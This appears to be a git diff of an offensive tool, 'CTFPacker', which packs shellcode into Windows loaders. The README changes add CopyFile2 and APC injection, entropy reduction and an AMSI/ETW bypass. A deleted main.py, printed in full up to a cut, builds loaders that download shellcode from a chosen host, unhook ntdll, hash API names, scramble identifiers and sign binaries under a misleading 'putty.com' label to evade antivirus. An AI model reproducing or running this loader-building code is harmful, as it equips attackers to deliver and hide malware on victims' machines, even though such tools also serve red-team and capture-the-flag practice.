options: - -h, --help show this help message and exit + -h, --help show this help message and exit -p PAYLOAD, --payload PAYLOAD - Shellcode to be packed + Shellcode to be packed -f {EXE,DLL}, --format {EXE,DLL} - Format of the output file (default: EXE). - -e, --encrypt Encrypt the shellcode via AES-128-CBC. - -s, --scramble Scramble the loader's functions and variables. - -pfx PFX, --pfx PFX Path to the PFX file for signing the loader. + Format of the output file (default: EXE). + -apc {RuntimeBroker.exe,svchost.exe} + Target injection process (default: RuntimeBroker.exe). + -inj {apc,copyfile2}, --inject-method {apc,copyfile2} + Injection method: 'apc' for EarlyBird APC or 'copyfile2' for + CopyFile2 progress callback execution (default: apc). + -e, --encrypt Encrypt the shellcode via AES-128-CBC. + -s, --scramble Scramble the loader's functions and variables. + -er, --entropy-reduction Reduce binary entropy by embedding English text padding. + -pfx PFX, --pfx PFX Path to the PFX file for signing the loader. -pfx-pass PFX_PASSWORD, --pfx-password PFX_PASSWORD - Password for the PFX file. + Password for the PFX file. -Example usage: python main.py stageless -p shellcode.bin -o shellcode -e -s -pfx cert.pfx -pfx-pass 'password' +Example usage: python main.py stageless -p shellcode.bin -e -s -inj copyfile2 -pfx cert.pfx -pfx-pass 'password' ``` +### GUI + +If you installed via pipx or `install.sh`, you can launch the GUI directly: + +```bash +ctfpacker-gui +``` + +The GUI exposes all the same options as the CLI but with real-time build output, a log panel, and a profile system. You can save/load build configurations as named profiles, and export/import them as `.ctfp` files to share across machines. + ### Format option In both cases, staged or stageless, you can choose whether to compile your loader as an EXE or a DLL. To compile it as a DLL, simply append `-f DLL`. By default, it compiles as an EXE, though you can also explicitly specify this using -f EXE (but you don't need to). @@ -352,8 +297,10 @@ https://github.com/user-attachments/assets/4aa56672-bcfb-424b-aa89-a919b514ae35 ## To-Do - [x] Maybe adding a setup.py file to install via pip / pipx -- [ ] Other templates with different injection techniques -- [ ] Adding AMSI / ETW bypass (depends on what injection technique I am going to put here) +- [x] Other templates with different injection techniques (added CopyFile2 progress callback) +- [x] PyQt6 GUI with build profiles & real-time output +- [x] Adding AMSI / ETW bypass (depends on what injection technique I am going to put here) +- [ ] More injection techniques ## Detections @@ -368,9 +315,9 @@ https://github.com/user-attachments/assets/4aa56672-bcfb-424b-aa89-a919b514ae35 Most of the code is not from me. Here are the original authors: ``` -@ Maldevacademy - https://maldevacademy.com +@ Maldevacademy - https://maldevacademy.com ; https://github.com/Maldev-Academy/HellHall +@ trickster0 - https://github.com/trickster0/TartarusGate (indirect syscalls) @ SaadAhla - https://github.com/SaadAhla/ntdlll-unhooking-collection @ VX-Underground - https://github.com/vxunderground/VX-API/blob/main/VX-API/GetProcAddressDjb2.cpp -@ klezVirus - https://github.com/klezVirus/SysWhispers3 ``` diff --git a/Windows/README.md b/Windows/README.md deleted file mode 100644 index 00f3f72..0000000 --- a/Windows/README.md +++ /dev/null @@ -1 +0,0 @@ -# Windows Version \ No newline at end of file diff --git a/Windows/core/encryption.py b/Windows/core/encryption.py deleted file mode 100644 index a9a137c..0000000 --- a/Windows/core/encryption.py +++ /dev/null @@ -1,45 +0,0 @@ -import os - -from core.utils import Colors -from Crypto.Cipher import AES -from Crypto.Util.Padding import pad - -class Encryption: - - # Generate a random KEY and IV - def GenerateKey(key_size: int) -> tuple: - # Generate a 16-byte or 32-byte key for AES-128 or AES-256 - key = os.urandom(key_size) - #print(key) - # Generate a 16-byte IV (128 bits, which is the block size for AES) - iv = os.urandom(AES.block_size) - #print(iv) - - return key, iv - - # AES-128 CBC encryption - def EncryptAES(shellcode: bytes) -> bytes: - #print(Colors.light_blue("[INF] Encryption Technique:\tAES-128-CBC")) - - # Generate random key and IV - key, iv = Encryption.GenerateKey(16) - - # Formatting - hex_key = ''.join([f"0x{key.hex()[i:i+2]}, " for i in range(0, len(key.hex()), 2)]).strip(", ") - hex_iv = ''.join([f"0x{iv.hex()[i:i+2]}, " for i in range(0, len(iv.hex()), 2)]).strip(", ") - - # Print the key and IV - #print(Colors.light_blue(f"[INF] Key (hex):\t\t{hex_key}")) - #print(Colors.light_blue(f"[INF] IV (hex):\t\t\t{hex_iv}\n")) - - # Create AES cipher in CBC mode - cipher = AES.new(key, AES.MODE_CBC, iv) - - # Pad the shellcode to be a multiple of 16 bytes (AES block size) - padded_shellcode = pad(shellcode, AES.block_size) - - # Encrypt the padded shellcode - enc_shellcode = cipher.encrypt(padded_shellcode) - - # Return the encrypted shellcode - return enc_shellcode, hex_key, hex_iv \ No newline at end of file diff --git a/Windows/core/hashing.py b/Windows/core/hashing.py deleted file mode 100644 index 90bcc51..0000000 --- a/Windows/core/hashing.py +++ /dev/null @@ -1,12 +0,0 @@ - -class Hasher: - - def Hasher(input_string: str, INITIAL_SEED: int, INITIAL_HASH: int) -> int: - - hash_value = INITIAL_HASH & 0xFFFFFFFF - - for c in input_string.encode('ascii'): - hash_value = ((hash_value << INITIAL_SEED) & 0xFFFFFFFF) + hash_value - hash_value = (hash_value + c) & 0xFFFFFFFF - - return f"0x{hash_value:08X}" \ No newline at end of file diff --git a/Windows/core/utils.py b/Windows/core/utils.py deleted file mode 100644 index d69b216..0000000 --- a/Windows/core/utils.py +++ /dev/null @@ -1,77 +0,0 @@ -import colorama -from colorama import Fore, Style - -colorama.init(autoreset=True) - -class Colors: - @staticmethod - def red(str): - return Fore.RED + str + Style.RESET_ALL - - @staticmethod - def green(str): - return Fore.GREEN + str + Style.RESET_ALL - - @staticmethod - def yellow(str): - return Fore.YELLOW + str + Style.RESET_ALL - - @staticmethod - def blue(str): - return Fore.BLUE + str + Style.RESET_ALL - - @staticmethod - def magenta(str): - return Fore.MAGENTA + str + Style.RESET_ALL - - @staticmethod - def cyan(str): - return Fore.CYAN + str + Style.RESET_ALL - - @staticmethod - def white(str): - return Fore.WHITE + str + Style.RESET_ALL - - @staticmethod - def black(str): - return Fore.BLACK + str + Style.RESET_ALL - - @staticmethod - def light_red(str): - return Fore.LIGHTRED_EX + str + Style.RESET_ALL - - @staticmethod - def light_green(str): - return Fore.LIGHTGREEN_EX + str + Style.RESET_ALL - - @staticmethod - def light_yellow(str): - return Fore.LIGHTYELLOW_EX + str + Style.RESET_ALL - - @staticmethod - def light_blue(str): - return Fore.LIGHTBLUE_EX + str + Style.RESET_ALL - - @staticmethod - def light_magenta(str): - return Fore.LIGHTMAGENTA_EX + str + Style.RESET_ALL - - -def banner(): - print(Colors.light_red(""" - - - ▄████▄ ▄▄▄█████▓ █████▒██▓███ ▄▄▄ ▄████▄ ██ ▄█▀▓█████ ██▀███ -▒██▀ ▀█ ▓ ██▒ ▓▒▓██ ▒▓██░ ██▒▒████▄ ▒██▀ ▀█ ██▄█▒ ▓█ ▀ ▓██ ▒ ██▒ -▒▓█ ▄ ▒ ▓██░ ▒░▒████ ░▓██░ ██▓▒▒██ ▀█▄ ▒▓█ ▄ ▓███▄░ ▒███ ▓██ ░▄█ ▒ -▒▓▓▄ ▄██▒░ ▓██▓ ░ ░▓█▒ ░▒██▄█▓▒ ▒░██▄▄▄▄██ ▒▓▓▄ ▄██▒▓██ █▄ ▒▓█ ▄ ▒██▀▀█▄ -▒ ▓███▀ ░ ▒██▒ ░ ░▒█░ ▒██▒ ░ ░ ▓█ ▓██▒▒ ▓███▀ ░▒██▒ █▄░▒████▒░██▓ ▒██▒ -░ ░▒ ▒ ░ ▒ ░░ ▒ ░ ▒▓▒░ ░ ░ ▒▒ ▓▒█░░ ░▒ ▒ ░▒ ▒▒ ▓▒░░ ▒░ ░░ ▒▓ ░▒▓░ - ░ ▒ ░ ░ ░▒ ░ ▒ ▒▒ ░ ░ ▒ ░ ░▒ ▒░ ░ ░ ░ ░▒ ░ ▒░ -░ ░ ░ ░ ░░ ░ ▒ ░ ░ ░░ ░ ░ ░░ ░ -░ ░ ░ ░░ ░ ░ ░ ░ ░ ░ -░ ░ - - - """)+ - ("\n\tAuthor: mocha") +("\n\thttps://mochabyte.xyz\n")) \ No newline at end of file diff --git a/Windows/custom_certs/cert1.pfx b/Windows/custom_certs/cert1.pfx deleted file mode 100644 index f771e28..0000000 Binary files a/Windows/custom_certs/cert1.pfx and /dev/null differ diff --git a/Windows/custom_certs/cert2.pfx b/Windows/custom_certs/cert2.pfx deleted file mode 100644 index 698f944..0000000 Binary files a/Windows/custom_certs/cert2.pfx and /dev/null differ diff --git a/Windows/custom_certs/osslsigncode.exe b/Windows/custom_certs/osslsigncode.exe deleted file mode 100644 index 7f089a6..0000000 Binary files a/Windows/custom_certs/osslsigncode.exe and /dev/null differ diff --git a/Windows/main.py b/Windows/main.py deleted file mode 100644 index 0d64b95..0000000 --- a/Windows/main.py +++ /dev/null @@ -1,810 +0,0 @@ -# -*- coding: utf-8 -*- -''' - -Author: mocha -X (Twitter): @mochabyte0x - -''' -import os -import sys -import random -import subprocess -import shutil, errno - -from importlib import resources -from core.hashing import Hasher -from argparse import ArgumentParser -from core.utils import Colors, banner -from core.encryption import Encryption - - - -def main(): - - # Creating the parser first - parser = ArgumentParser(description="CTFPacker", epilog="Author: @B0lg0r0v (Arthur Minasyan)") - subparsers = parser.add_subparsers(dest="commands", help="Staged or Stageless Payloads", required=True) - - # Creating the subparsers - parser_staged = subparsers.add_parser("staged", help="Staged") - parser_stageless = subparsers.add_parser("stageless", help="Stageless") - - # Creating the arguments for the staged subcommand - parser_staged.add_argument("-p", "--payload", help="Shellcode to be packed", required=True) - parser_staged.add_argument("-f", "--format", type=str, choices=["EXE", "DLL"], default="EXE", help="Format of the output file (default: EXE).") - parser_staged.add_argument("-apc", "--apc", help="Choose between RuntimeBroker.exe or svchost.exe as a target injection process. Defaults to RuntimeBroker.exe", choices=["RuntimeBroker.exe", "svchost.exe"], default="RuntimeBroker.exe") - - parser_staged.add_argument("-i", "--ip-address", type=str, help="IP address from where your shellcode is gonna be fetched.", required=True) - parser_staged.add_argument("-po", "--port", type=int, help="Port from where the HTTP connection is gonna fetch your shellcode.", required=True) - parser_staged.add_argument("-pa", "--path", type=str, help="Path from where your shellcode uis gonna be fetched. ", required=True) - parser_staged.add_argument("-o", "--output", type=str, help="Output path where the shellcode is gonna be saved.") - - - parser_staged.add_argument("-e", "--encrypt", action="store_true", help="Encrypt the shellcode via AES-128-CBC.") - parser_staged.add_argument("-s", "--scramble", action="store_true", help="Scramble the loader's functions and variables.") - parser_staged.add_argument("-pfx", "--pfx", type=str, help="Path to the PFX file for signing the loader.") - parser_staged.add_argument("-pfx-pass", "--pfx-password", type=str, help="Password for the PFX file.") - - parser_staged.epilog = "Example usage: python main.py staged -p shellcode.bin -i 192.168.1.150 -po 8080 -pa '/shellcode.bin' -o shellcode -e -s -pfx cert.pfx -pfx-pass 'password'" - - - # Creating the arguments for the stageless subcommand - parser_stageless.add_argument("-p", "--payload", help="Shellcode to be packed", required=True) - parser_stageless.add_argument("-f", "--format", type=str, choices=["EXE", "DLL"], default="EXE", help="Format of the output file (default: EXE).") - parser_stageless.add_argument("-apc", "--apc", help="Choose between RuntimeBroker.exe or svchost.exe as a target injection process. Defaults to RuntimeBroker.exe", choices=["RuntimeBroker.exe", "svchost.exe"], default="RuntimeBroker.exe") - - parser_stageless.add_argument("-e", "--encrypt", action="store_true", help="Encrypt the shellcode via AES-128-CBC.") - parser_stageless.add_argument("-s", "--scramble", action="store_true", help="Scramble the loader's functions and variables.") - parser_stageless.add_argument("-pfx", "--pfx", type=str, help="Path to the PFX file for signing the loader.") - parser_stageless.add_argument("-pfx-pass", "--pfx-password", type=str, help="Password for the PFX file.") - - parser_stageless.epilog = "Example usage: python main.py stageless -p shellcode.bin -o shellcode -e -s -pfx cert.pfx -pfx-pass 'password'" - - # Parsing the arguments - args = parser.parse_args() - - - # Banner - banner() - -#--------------------------------------# -#----------- Staged Variant -----------# -#--------------------------------------# - - if args.commands == "staged": - - print(Colors.green("[i] Staged Payload selected.")) - print(Colors.light_yellow("[+] Starting the process...")) - - # We make a temporary folder called ".ctfpacker" and copy the template files to this folder. - cr_directory = os.path.dirname(os.path.abspath(__file__)) - src_directory = resources.files("templates").joinpath("staged") - dst_directory = f'{cr_directory}\\.ctfpacker' - - # Copying the files from the templates folder to the temporary folder - try: - shutil.copytree(src_directory, dst_directory) - except OSError as e: - # deleting the folder if it exists - if e.errno == errno.EEXIST: - shutil.rmtree(dst_directory) - shutil.copytree(src_directory, dst_directory) - else: - print(f"Error: {e}") - - if args.payload and args.ip_address and args.port and args.path: - - print(Colors.green("[i] Corresponding template selected..")) - - ip = args.ip_address - port = args.port - path = args.path - - with open(f'{dst_directory}\\download.c', 'r') as file: - download_data = file.readlines() - - for i in range(len(download_data)): - if "#-IP_VALUE-#" in download_data[i]: - download_data[i] = download_data[i].replace("#-IP_VALUE-#", ip) - if "#-PORT_VALUE-#" in download_data[i]: - download_data[i] = download_data[i].replace("#-PORT_VALUE-#", str(port)) - if "#-PATH_VALUE-#" in download_data[i]: - download_data[i] = download_data[i].replace('#-PATH_VALUE-#', path) - - with open(f'{dst_directory}\\download.c', 'w') as file: - file.writelines(download_data) - - # We read the shellcode from the file - with open(args.payload, "rb") as file: - payload = file.read() - - INITIAL_SEED = random.randint(5, 20) - INITIAL_HASH = random.randint(2000, 9000) - - NTDLL_HASH = Hasher.Hasher("NTDLL.DLL", INITIAL_SEED, INITIAL_HASH) - KERNEL32_HASH = Hasher.Hasher("KERNEL32.DLL", INITIAL_SEED, INITIAL_HASH) - KERNELBASE_HASH = Hasher.Hasher("KERNELBASE.DLL", INITIAL_SEED, INITIAL_HASH) - DEBUGACTIVEPROCESSSTOP_HASH = Hasher.Hasher("DebugActiveProcessStop", INITIAL_SEED, INITIAL_HASH) - CREATEPROCESSA_HASH = Hasher.Hasher("CreateProcessA", INITIAL_SEED, INITIAL_HASH) - NTMAPVIEWOFSECTION_HASH = Hasher.Hasher("NtMapViewOfSection", INITIAL_SEED, INITIAL_HASH) - - # Modifying all .c and .h files in the temporary folder - for filename in os.listdir(dst_directory): - if filename.endswith(".c") or filename.endswith(".h"): - with open(f"{dst_directory}\\{filename}", "r") as file: - data = file.readlines() - - for i in range(len(data)): - if "#-INITIAL_HASH_VALUE-# " in data[i]: - data[i] = data[i].replace("#-INITIAL_HASH_VALUE-#", str(INITIAL_HASH)) - if "#-INITIAL_SEED_VALUE-#" in data[i]: - data[i] = data[i].replace("#-INITIAL_SEED_VALUE-#", str(INITIAL_SEED)) - if "#-NTDLL_VALUE-#" in data[i]: - data[i] = data[i].replace("#-NTDLL_VALUE-#", NTDLL_HASH) - if "#-KERNEL32_VALUE-#" in data[i]: - data[i] = data[i].replace("#-KERNEL32_VALUE-#", KERNEL32_HASH) - if "#-KERNELBASE_VALUE-#" in data[i]: - data[i] = data[i].replace("#-KERNELBASE_VALUE-#", KERNELBASE_HASH) - if "#-DAPS_VALUE-#" in data[i]: - data[i] = data[i].replace("#-DAPS_VALUE-#", DEBUGACTIVEPROCESSSTOP_HASH) - if "#-CREATEPROCESSA_VALUE-#" in data[i]: - data[i] = data[i].replace("#-CREATEPROCESSA_VALUE-#", CREATEPROCESSA_HASH) - if "#-NTMVOS_VALUE-#" in data[i]: - data[i] = data[i].replace("#-NTMVOS_VALUE-#", NTMAPVIEWOFSECTION_HASH) - - with open(f"{dst_directory}\\{filename}", "w") as file: - file.writelines(data) - - print(Colors.green("[+] Template files modified !")) - - print(Colors.light_yellow("[+] Setting APC injection target process...")) - # Handling the target APC injection. - if args.format is None or args.format == "EXE": - with open(f'{dst_directory}/main.c', 'r') as file: - main_data = file.readlines() - for i in range(len(main_data)): - if "#-TARGET_PROCESS-#" in main_data[i]: - main_data[i] = main_data[i].replace("#-TARGET_PROCESS-#", args.apc) - - # Writing the data back to the file - with open(f'{dst_directory}/main.c', 'w') as file: - file.writelines(main_data) - - if args.format == "DLL": - with open(f'{dst_directory}/main_dll.c', 'r') as file: - main_data = file.readlines() - for i in range(len(main_data)): - if "#-TARGET_PROCESS-#" in main_data[i]: - main_data[i] = main_data[i].replace("#-TARGET_PROCESS-#", args.apc) - - # Writing the data back to the file - with open(f'{dst_directory}/main_dll.c', 'w') as file: - file.writelines(main_data) - - print(Colors.green(f"[+] Target APC injection process set to {args.apc} !")) - - # Handling the case if encryption is wanted - if args.encrypt: - - print(Colors.green("[i] Encryption selected.")) - print(Colors.light_yellow("[+] Encrypting the payload...")) - - enc_payload, key, iv = Encryption.EncryptAES(payload) - - if os.path.exists(f"{args.output}.bin"): - os.remove(f"{args.output}.bin") - - with open(f"{args.output}.bin", "wb") as file: - file.write(enc_payload) - - for filename in os.listdir(dst_directory): - if filename.startswith("main") and (filename.endswith(".c")): - with open(f"{dst_directory}\\{filename}", "r") as file: - main_data = file.readlines() - - for i in range(len(main_data)): - if "#-KEY_VALUE-#" in main_data[i]: - main_data[i] = main_data[i].replace("#-KEY_VALUE-#", key) - if "#-IV_VALUE-#" in main_data[i]: - main_data[i] = main_data[i].replace("#-IV_VALUE-#", iv) - - with open(f"{dst_directory}\\{filename}", "w") as file: - file.writelines(main_data) - - print(Colors.green(f"[+] Payload encrypted and saved to {os.getcwd()}\\{args.output}.bin !")) - - - # If encryption is not wanted (for whatever reason) - if args.encrypt is False: - - print(Colors.green("[i] Encryption not selected.")) - print(Colors.light_yellow("[+] Compiling the loader...")) - - # We comment out the encryption function in the main .c files - for filename in os.listdir(dst_directory): - if filename.startswith("main") and (filename.endswith(".c")): - with open(f"{dst_directory}\\{filename}", "r") as file: - main_data = file.readlines() - - for i in range(len(main_data)): - if "#include \"AES_128_CBC.h\"" in main_data[i]: - main_data[i] = f"//{main_data[i]}" - if "AES_CTX" in main_data[i]: - main_data[i] = f"\t//{main_data[i]}" - if "uint8_t aes_k[16] = { #-KEY_VALUE-# };" in main_data[i]: - main_data[i] = f"//{main_data[i]}" - if "uint8_t aes_i[16] = { #-IV_VALUE-# };" in main_data[i]: - main_data[i] = f"//{main_data[i]}" - if "Starting the decryption..." in main_data[i]: - main_data[i] = f"\t//{main_data[i]}" - if "pClearText = (PBYTE)malloc(sEncPayload);" in main_data[i]: - main_data[i] = f"\t//{main_data[i]}" - if "AES_DecryptInit(&ctx, aes_k, aes_i);" in main_data[i]: - main_data[i] = f"\t//{main_data[i]}" - if "AES_DecryptBuffer(&ctx, pEncPayload, pClearText, sEncPayload);" in main_data[i]: - main_data[i] = f"\t//{main_data[i]}" - if "Payload decrypted at postion: 0x%p with size of %zu" in main_data[i]: - main_data[i] = f"\t//{main_data[i]}" - if "if (!APCInjection(hProcess, pClearText, sEncPayload, &pProcess))" in main_data[i]: - main_data[i] = f"\tif (!APCInjection(hProcess, (PVOID) pEncPayload, sEncPayload, &pProcess)) {{" - - with open(f"{dst_directory}\\{filename}", "w") as file: - file.writelines(main_data) - - # We copy the payload file to the path specified by the user - shutil.copy(args.payload, f"{args.output}.bin") - - if args.scramble: - - print(Colors.green("[i] Scrambling selected.")) - print(Colors.light_yellow("[+] Scrambling the loader...")) - - functions = ["HashStringDjb2A", "GetProcAddressH", "GetModuleHandleH", "MapNtdll", "Unhook", "AES_DecryptInit", "AES_DecryptBuffer", - "CreateSuspendedProcess", "APCInjection", "cDAPSu", "cCPAu", "aes_k", "aes_i", "AES_Decrypt", "AES_Encrypt", "AES_EncryptInit", - "GetContent", "NTAVM", "NTPVM", "NTWVM", "NTQAT"] - scrambled_functions = [] - - variables = ["sEncPayload", "pEncPayload", "pClearText", "ctx", "hProcess", "pProcess", "dwSizeOfClearText", "dwOldProtect", "dwProcessId"] - scrambled_variables = [] - - alphabet = list("abcdefghijklmnopqrstuvwxyz") - used_combos = set() - - # Scrambling the functions - for sign in functions + variables: - letter = random.choice(alphabet) - multiplier = random.randint(1, 128) - while (letter, multiplier) in used_combos: - letter = random.choice(alphabet) - multiplier = random.randint(1, 128) - used_combos.add((letter, multiplier)) - scrambled_sign = letter * multiplier - - if sign in functions: - scrambled_functions.append(scrambled_sign) - else: - scrambled_variables.append(scrambled_sign) - - # Modifying all .c and .h files in the temporary folder - for filename in os.listdir(dst_directory): - if filename.endswith(".c") or filename.endswith(".h") or filename.endswith(".asm"): - with open(f"{dst_directory}\\{filename}", "r") as file: - data = file.readlines() - - for i in range(len(data)): - if "HashStringDjb2A" in data[i]: - data[i] = data[i].replace("HashStringDjb2A", scrambled_functions[0]) - if "GetProcAddressH" in data[i]: - data[i] = data[i].replace("GetProcAddressH", scrambled_functions[1]) - if "GetModuleHandleH" in data[i]: - data[i] = data[i].replace("GetModuleHandleH", scrambled_functions[2]) - if "MapNtdll" in data[i]: - data[i] = data[i].replace("MapNtdll", scrambled_functions[3]) - if "Unhook" in data[i]: - data[i] = data[i].replace("Unhook", scrambled_functions[4]) - if "AES_DecryptInit" in data[i]: - data[i] = data[i].replace("AES_DecryptInit", scrambled_functions[5]) - if "AES_DecryptBuffer" in data[i]: - data[i] = data[i].replace("AES_DecryptBuffer", scrambled_functions[6]) - if "CreateSuspendedProcess" in data[i]: - data[i] = data[i].replace("CreateSuspendedProcess", scrambled_functions[7]) - if "APCInjection" in data[i]: - data[i] = data[i].replace("APCInjection", scrambled_functions[8]) - if "cDAPSu" in data[i]: - data[i] = data[i].replace("cDAPSu", scrambled_functions[9]) - if "cCPAu" in data[i]: - data[i] = data[i].replace("cCPAu", scrambled_functions[10]) - if "aes_k" in data[i]: - data[i] = data[i].replace("aes_k", scrambled_functions[11]) - if "aes_i" in data[i]: - data[i] = data[i].replace("aes_i", scrambled_functions[12]) - if "AES_Decrypt" in data[i]: - data[i] = data[i].replace("AES_Decrypt", scrambled_functions[13]) - if "AES_Encrypt" in data[i]: - data[i] = data[i].replace("AES_Encrypt", scrambled_functions[14]) - if "AES_EncryptInit" in data[i]: - data[i] = data[i].replace("AES_EncryptInit", scrambled_functions[15]) - if "GetContent" in data[i]: - data[i] = data[i].replace("GetContent", scrambled_functions[16]) - if "NTAVM" in data[i]: - data[i] = data[i].replace("NTAVM", scrambled_functions[17]) - if "NTPVM" in data[i]: - data[i] = data[i].replace("NTPVM", scrambled_functions[18]) - if "NTWVM" in data[i]: - data[i] = data[i].replace("NTWVM", scrambled_functions[19]) - if "NTQAT" in data[i]: - data[i] = data[i].replace("NTQAT", scrambled_functions[20]) - - with open(f"{dst_directory}\\{filename}", "w") as file: - file.writelines(data) - - # Modifying the main files - for filename in os.listdir(dst_directory): - if filename.startswith("main") and filename.endswith(".c"): - with open(f"{dst_directory}\\{filename}", "r") as file: - main_data = file.readlines() - - for i in range(len(main_data)): - if "sEncPayload" in main_data[i]: - main_data[i] = main_data[i].replace("sEncPayload", scrambled_variables[0]) - if "pEncPayload" in main_data[i]: - main_data[i] = main_data[i].replace("pEncPayload", scrambled_variables[1]) - if "pClearText" in main_data[i]: - main_data[i] = main_data[i].replace("pClearText", scrambled_variables[2]) - if "ctx" in main_data[i]: - main_data[i] = main_data[i].replace("ctx", scrambled_variables[3]) - if "hProcess" in main_data[i]: - main_data[i] = main_data[i].replace("hProcess", scrambled_variables[4]) - if "pProcess" in main_data[i]: - main_data[i] = main_data[i].replace("pProcess", scrambled_variables[5]) - if "dwSizeOfClearText" in main_data[i]: - main_data[i] = main_data[i].replace("dwSizeOfClearText", scrambled_variables[6]) - if "dwOldProtect" in main_data[i]: - main_data[i] = main_data[i].replace("dwOldProtect", scrambled_variables[7]) - if "dwProcessId" in main_data[i]: - main_data[i] = main_data[i].replace("dwProcessId", scrambled_variables[8]) - - with open(f"{dst_directory}\\{filename}", "w") as file: - file.writelines(main_data) - - print(Colors.green("[+] Loader scrambled !")) - - if args.format is None or args.format == "EXE": - if args.pfx: - - print(Colors.green("[i] Signing selected.")) - print(Colors.light_yellow("[+] Signing the loader...")) - - osslsigncode_path = str(resources.files("custom_certs").joinpath("osslsigncode.exe")) - # If the user supplied a PFX file, we use it to sign the loader. - if args.pfx is not None: - pfx_path = args.pfx - else: - print(Colors.red("[!] PFX file not found")) - sys.exit(1) - - if args.pfx_password: - pfx_password = args.pfx_password - else: - print(Colors.red("[!] PFX password not provided")) - sys.exit(1) - - input_binary = "ctfloader.exe" - signed_binary = "ctfloader_signed.exe" - - os.system(f"cd {dst_directory} && make clean && make FORMAT=EXE") - shutil.move(f"{dst_directory}\\ctfloader.exe", f"ctfloader.exe") - - if os.path.exists("ctfloader_signed.exe"): - os.remove("ctfloader_signed.exe") - - subprocess.run([ - osslsigncode_path, - "sign", - "-pkcs12", pfx_path, - "-pass", pfx_password, - "-n", "Signed Loader", - "-i", "https://putty.com", - "-t", "http://timestamp.sectigo.com", - "-in", input_binary, - "-out", signed_binary - ], check=True) - - shutil.rmtree(dst_directory) - - print(Colors.green("[+] Loader signed !")) - - else: - - # Everything has been modified, we can now compile the loader - os.system(f"cd {dst_directory} && make clean && make FORMAT=EXE") - - # We move the compiled loader one directory up - shutil.move(f"{dst_directory}\\ctfloader.exe", f"ctfloader.exe") - - # We delete the temporary folder - shutil.rmtree(dst_directory) - - print(Colors.green("[+] Loader compiled !")) - - print(Colors.green("[+] DONE !")) - - if args.format == "DLL": - - print(Colors.green("[i] DLL format selected.")) - - os.system(f"cd {dst_directory} && make clean && make FORMAT=DLL") - - # We move the compiled loader one directory up - shutil.move(f"{dst_directory}\\ctfloader.dll", f"ctfloader.dll") - - # We delete the temporary folder - shutil.rmtree(dst_directory) - - print(Colors.green("[+] Loader compiled !")) - - print(Colors.green("[+] DONE !")) - -#-----------------------------------------# -#----------- Stageless Variant -----------# -#-----------------------------------------# - if args.commands == "stageless": - - print(Colors.green("[i] Stageless Payload selected.")) - print(Colors.light_yellow("[+] Starting the process...")) - - # We make a temporary folder called ".ctfpacker" and copy the template files to this folder. - cr_directory = os.path.dirname(os.path.abspath(__file__)) - src_directory = resources.files("templates").joinpath("stageless") - dst_directory = f'{cr_directory}\\.ctfpacker' - - # Copying the files from the templates folder to the temporary folder - try: - shutil.copytree(src_directory, dst_directory) - except OSError as e: - # deleting the folder if it exists - if e.errno == errno.EEXIST: - shutil.rmtree(dst_directory) - shutil.copytree(src_directory, dst_directory) - else: - print(f"Error: {e}") - - # Parsing the args now - if args.payload: - - # We read the shellcode from the file - with open(args.payload, "rb") as file: - raw_payload = file.read() - - # converting the payload to hex for ease - payload = ', '.join(f"0x{b:02x}" for b in raw_payload) - - INITIAL_SEED = random.randint(5, 20) - INITIAL_HASH = random.randint(2000, 9000) - - NTDLL_HASH = Hasher.Hasher("NTDLL.DLL", INITIAL_SEED, INITIAL_HASH) - KERNEL32_HASH = Hasher.Hasher("KERNEL32.DLL", INITIAL_SEED, INITIAL_HASH) - KERNELBASE_HASH = Hasher.Hasher("KERNELBASE.DLL", INITIAL_SEED, INITIAL_HASH) - DEBUGACTIVEPROCESSSTOP_HASH = Hasher.Hasher("DebugActiveProcessStop", INITIAL_SEED, INITIAL_HASH) - CREATEPROCESSA_HASH = Hasher.Hasher("CreateProcessA", INITIAL_SEED, INITIAL_HASH) - NTMAPVIEWOFSECTION_HASH = Hasher.Hasher("NtMapViewOfSection", INITIAL_SEED, INITIAL_HASH) - - # Modifying all .c and .h files in the temporary folder - for filename in os.listdir(dst_directory): - if filename.endswith(".c") or filename.endswith(".h"): - with open(f"{dst_directory}\\{filename}", "r") as file: - data = file.readlines() - - for i in range(len(data)): - if "#-INITIAL_HASH_VALUE-# " in data[i]: - data[i] = data[i].replace("#-INITIAL_HASH_VALUE-#", str(INITIAL_HASH)) - if "#-INITIAL_SEED_VALUE-#" in data[i]: - data[i] = data[i].replace("#-INITIAL_SEED_VALUE-#", str(INITIAL_SEED)) - if "#-NTDLL_VALUE-#" in data[i]: - data[i] = data[i].replace("#-NTDLL_VALUE-#", NTDLL_HASH) - if "#-KERNEL32_VALUE-#" in data[i]: - data[i] = data[i].replace("#-KERNEL32_VALUE-#", KERNEL32_HASH) - if "#-KERNELBASE_VALUE-#" in data[i]: - data[i] = data[i].replace("#-KERNELBASE_VALUE-#", KERNELBASE_HASH) - if "#-DAPS_VALUE-#" in data[i]: - data[i] = data[i].replace("#-DAPS_VALUE-#", DEBUGACTIVEPROCESSSTOP_HASH) - if "#-CREATEPROCESSA_VALUE-#" in data[i]: - data[i] = data[i].replace("#-CREATEPROCESSA_VALUE-#", CREATEPROCESSA_HASH) - if "#-NTMVOS_VALUE-#" in data[i]: - data[i] = data[i].replace("#-NTMVOS_VALUE-#", NTMAPVIEWOFSECTION_HASH) - - with open(f"{dst_directory}\\{filename}", "w") as file: - file.writelines(data) - - print(Colors.green("[+] Template files modified !")) - - print(Colors.light_yellow("[+] Setting APC injection target process...")) - # Handling the target APC injection. - if args.format is None or args.format == "EXE": - with open(f'{dst_directory}/main.c', 'r') as file: - main_data = file.readlines() - for i in range(len(main_data)): - if "#-TARGET_PROCESS-#" in main_data[i]: - main_data[i] = main_data[i].replace("#-TARGET_PROCESS-#", args.apc) - - # Writing the data back to the file - with open(f'{dst_directory}/main.c', 'w') as file: - file.writelines(main_data) - - if args.format == "DLL": - with open(f'{dst_directory}/main_dll.c', 'r') as file: - main_data = file.readlines() - for i in range(len(main_data)): - if "#-TARGET_PROCESS-#" in main_data[i]: - main_data[i] = main_data[i].replace("#-TARGET_PROCESS-#", args.apc) - - # Writing the data back to the file - with open(f'{dst_directory}/main_dll.c', 'w') as file: - file.writelines(main_data) - - print(Colors.green(f"[+] Target APC injection process set to {args.apc} !")) - - # Handling the case if encryption is wanted - if args.encrypt: - - print(Colors.green("[i] Encryption selected.")) - print(Colors.light_yellow("[+] Encrypting the payload...")) - - enc_payload, key, iv = Encryption.EncryptAES(raw_payload) - - # converting the payload to hex for ease - hex_payload = ', '.join(f"0x{b:02x}" for b in enc_payload) - - # We write the key and IV into all files starting with "main" - for filename in os.listdir(dst_directory): - if filename.startswith("main") and (filename.endswith(".c")): - with open(f"{dst_directory}\\{filename}", "r") as file: - main_data = file.readlines() - - for i in 